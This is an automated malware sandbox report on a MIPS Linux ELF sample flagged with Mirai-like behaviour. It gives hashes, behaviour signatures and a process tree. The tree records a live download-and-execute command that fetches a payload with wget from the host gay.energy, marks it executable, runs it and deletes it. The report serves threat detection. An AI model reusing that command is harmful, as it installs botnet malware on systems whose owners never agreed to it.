Analysis

  • max time kernel
    148s
  • max time network
    139s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/04/2024, 01:16

General

  • Target

    93baaaabfc573289b7cea910738e996f36b616b93a40a2ecfb84d14d1a2e5da2.elf

  • Size

    155KB

  • MD5

    66617f9932e2e20f48493f12c80fceb7

  • SHA1

    278410f9e356ad62dc2d66c426d2b60545918923

  • SHA256

    93baaaabfc573289b7cea910738e996f36b616b93a40a2ecfb84d14d1a2e5da2

  • SHA512

    22fa7850204dc9296eaba8312cebe36facc2cdb999590f0fca2cd8bbeb09cb049ec792e2439bd6b2fcc54e6a9bbab0f2199c4069705a315630228ca0855d2c91

  • SSDEEP

    3072:1LNqrhHZ0P6bRFBQivfRjHkLwmrThPaLEne7rNb:1Lsrr0PeRTJBgLwmrThPaLEne7rNb

Score
7/10

Malware Config

Signatures

  • Changes its process name 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/93baaaabfc573289b7cea910738e996f36b616b93a40a2ecfb84d14d1a2e5da2.elf
    /tmp/93baaaabfc573289b7cea910738e996f36b616b93a40a2ecfb84d14d1a2e5da2.elf
    1⤵
    • Changes its process name
    • Reads system routing table
    • Reads system network configuration
    PID:709
    • /bin/sh
      /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."
      2⤵
        PID:710
        • /usr/bin/wget
          wget -q http://gay.energy/.../vivid -O .....
          3⤵
          • Writes file to tmp directory
          PID:714
        • /bin/chmod
          chmod 777 .....
          3⤵
            PID:725
          • /tmp/.....
            ./.....
            3⤵
            • Executes dropped EXE
            PID:727
          • /bin/sh
            /bin/sh ./.....
            3⤵
              PID:727
            • /bin/rm
              rm -rf .....
              3⤵
                PID:730

          Network

                MITRE ATT&CK Enterprise v15

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